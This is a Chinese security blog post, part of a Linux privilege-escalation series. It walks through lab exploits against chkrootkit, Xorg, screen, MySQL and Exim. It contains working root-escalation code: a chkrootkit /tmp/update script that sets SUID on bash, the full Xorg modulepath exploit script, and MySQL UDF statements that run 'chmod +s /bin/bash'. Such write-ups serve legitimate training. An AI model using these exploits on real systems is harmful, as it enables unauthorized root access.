Linux提权系列14:[训练营] 利用存在漏洞的应用程序进行权限提升
2023-4-8 08:15:5 Author: 奶牛安全(查看原文) 阅读量:21 收藏


陨落的守护程序

实验开始时,将获得一个低权限 shell,并且没有可疑的 SUID 二进制文件或 sudo 漏洞。当检查进程时,会看到一个脚本正在以 root 用户权限运行。

因为 当前用户可以读取它,所以可以看到它正在运行一些 rootkitchecker 程序。

rootkitchecker 的版本是 0.49,幸运的是它容易受到任意代码执行的攻击。该漏洞于 2014 年报告,分配给此漏洞的 CVECVE-2014-0476

漏洞:在 chkrootkit 文件中,slapper 函数没有对文件路径加引号,因此攻击者可以通过 chkrootkitroot 用户权限运行命令。

论文建议使用 /tmp/update 脚本,然后向其中添加恶意代码。文件 /tmp/update 将以 root 用户身份执行,因此如果文件中包含恶意内容,则可以有效地获得 root 权限。

可以通过 netcat 获得 root 特权反向连接,但这里在 bash 上设置 suid 位,然后使用 bash -p -i 获得特权 bash

cat > /tmp/update << EOF
#!/bin/bash

chmod +s /bin/bash
touch /tmp/done
EOF
chmod +x /tmp/update

现在,等到看到 /tmp/done 文件。它什么都不做,只是用来检查命令是否被执行。

几秒钟后,当命令再次运行时,就可以以 root 用户身份获取 bash

利用 X Windows 系统

因此,根据描述,检查易受攻击的显示管理器并利用它已经公开的漏洞。

枚举后会发现系统中安装了Xorg服务器,程序版本为1.19.5

google上搜索时,发现高版本的Xorg存在两个漏洞。有时,如果有一个小的版本变化,高版本存在的漏洞在低版本中也存在。

牢记这一点,尝试第一个漏洞利用。exploitCVECVE-2018-14665

漏洞:1.20.3 之前的 Xorg-x11-server 不检查权限,允许非特权用户通过物理控制台登录系统以提升权限并以 root 用户权限运行任意命令。有两个易受攻击的攻击向量 -logpath-modulepath。在此,在 Xorg 服务器中执行了库注入。

将利用脚本保存在目标系统上

#!/bin/bash

echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch"
echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>"
echo

# prepare the payload
cat << EOF > /tmp/pwned.c
_init()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
EOF
# libglx.so should be a good target, refer to Xorg logs for other candidates
gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so
if [ $? -ne 0 ]; then echoecho "error: cannot compile /tmp/pwned.c"exitfi

# trigger the bug
echo "Got root?"
Xorg -modulepath ",/tmp" :1

给脚本加执行权限并运行

超级屏幕

在之前的实验中,利用了一个易受攻击的桌面管理器服务 Xorg。在此,将了解易受攻击的窗口管理器如何导致权限提升。

如果是 Linux 世界的新手并且对窗口管理器和桌面管理器感到困惑。窗口管理器负责管理应用程序窗口,例如:管理最小化状态并允许用户再次最大化窗口或添加处理程序以关闭、最小化和最大化按钮。另一方面,桌面管理器负责整个桌面用户体验,它提供面板、登录欢迎会话、菜单和您在系统中看到的所有内容。详情给https://askubuntu.com/questions/18078/what-is-the-difference-between-a-desktop-environment-and-a-window-manager#20435

在枚举之后发现系统中安装了 screen 并且其版本在文件名称中公开

看起来这是一个非常流行的漏洞。在搜索中,找到了该漏洞的第一个链接

此漏洞没有分配 CVE

漏洞:可以通过启用 setuid 位的screen来滥用 ld.so.preload 覆盖获取root shell。编译后的库将以 EUID 值为 0 运行,然后可以使用它来调用 setuid 函数并获得 root 特权 shell

下载并执行漏洞脚本

2> /dev/null 的使用是可选的。在这种情况下,使用它来避免在编译共享库时可能出现的回显警告

突破数据库

在本实验中,拥有以 root 用户权限运行的 MySQL 服务,并且提供了登录凭据

通过枚举,发现无法通过 sys_exec 函数执行命令

在进一步的枚举中,发现可以将库加载到 MySQL 中并像用户定义的函数一样执行它。

由于无法写入任何文件或插件目录内, 可以使用以上信息为MySQL编译shellcode。幸运的是,在 exploit-db 上发现了一个漏洞。

下载 udf.c 文件并编译代码

cd /tmp
gcc -g -c udf.c
gcc -g -shared -Wl,-soname,udf.so -o udf.so udf.o -lc

现在以  MySQLroot用户身份登录并使用 load_filedumpfile 将文件 /tmp/udf.so 复制到 @@plugin_dir

create table test(line blob); -- blob will allow us to store binary content
insert into test values(load_file('/tmp/udf.so')); -- here load_file function will read the content of file /tmp/udf.so and assign to line field
select * from test into dumpfile '/usr/lib/i386-linux-gnu/mariadb18/plugin/udf.so'-- dump the content of row into file in @@plugin_dir
create function do_system returns integer soname 'udf.so'-- load udf.so form @@plugin_dir and create function do_system
select * from func; -- verify udf function creation
select do_system('id'); -- verify udf function execution
select do_system('chmod +s /bin/bash'); -- add suid bit to /bin/bash

评论仅供理解。可以在 MySQL 提示符下执行时省略它

利用消息传输代理

在此,了解到当目标应用程序以 root 权限运行时,用户输入中不正确的校验如何导致系统中的权限升级。

在枚举易受攻击的应用程序时,发现

当列出 /usr/exim/bin 的内容时, 发现 Exim 版本是 4.89.2 并且可执行文件设置了 suid

目标版本容易受到本地提权

该漏洞被分配为 CVE-2019-10149

漏洞:/src/deliver.c 中的 deliver_message() 函数中收件人地址验证不当可能导致远程命令执行。

按照exploit-db的指示下载并运行漏洞脚本

请点一下右下角的“在看”,谢谢!!

暗号:133219


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247488934&idx=1&sn=57d56a257131f971f035b3dd3f7a6a86&chksm=fdf97eb3ca8ef7a53929120f4ca3c7c0e1501718659a5dc3043212f37e79f332f4d1eebba4d9#rd
如有侵权请联系:admin#unsafe.sh